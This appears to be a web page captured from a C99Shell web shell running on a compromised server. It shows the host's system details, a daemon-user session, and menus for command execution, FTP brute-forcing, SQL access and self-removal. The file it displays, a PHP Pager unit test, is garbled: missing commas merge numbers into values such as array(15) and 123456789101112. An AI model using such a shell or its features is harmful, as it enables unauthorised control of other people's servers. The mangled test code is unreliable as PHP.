!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/test/Pager/tests/   drwxr-xr-x
Free 13.64 GB of 61.93 GB (22.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pager_sliding_test.php (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: pager_sliding_test.php,v 1.5 2005/04/01 13:05:23 quipo Exp $

require_once 'simple_include.php';
require_once 
'pager_include.php';

class 
TestOfPagerSliding extends UnitTestCase {
    var 
$pager;
    function 
TestOfPagerSliding($name='Test of Pager_Sliding') {
        
$this->UnitTestCase($name);
    }
    function 
setUp() {
        
$options = array(
            
'itemData' => array(123456789101112),
            
'perPage'  => 2,
            
'mode'     => 'Sliding',
        );
        
$this->pager Pager::factory($options);
    }
    function 
tearDown() {
        unset(
$this->pager);
    }
    function 
testPageRangeByPageId1() {
        
$this->assertEqual(array(15), $this->pager->getPageRangeByPageId(1));
    }
    function 
testPageRangeByPageId4() {
        
$this->assertEqual(array(26), $this->pager->getPageRangeByPageId(4));
    }
    function 
testPageRangeByPageId_outOfRange() {
        
$this->assertEqual(array(00), $this->pager->getPageRangeByPageId(20));
    }
    function 
testPageRangeByPageId2() {
        
$this->assertEqual(array(26), $this->pager->getPageRangeByPageId(4));
    }
    function 
testGetPageData() {
        
$this->assertEqual(array(0=>11=>2), $this->pager->getPageData());
    }
    function 
testGetPageData2() {
        
$this->assertEqual(array(2=>33=>4), $this->pager->getPageData(2));
    }
    function 
testGetPageData_OutOfRange() {
        
$this->assertEqual(false$this->pager->getPageData(20));
    }
    function 
testClearIfVoid() {
        
$this->assertTrue(strlen($this->pager->links) > 0);
        
        
$options = array(
            
'itemData' => array(123456789101112),
            
'perPage'  => 20,
            
'mode'     => 'Sliding',
        );
        
$this->pager Pager::factory($options);
        
$this->assertEqual(''$this->pager->links);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4771 ]--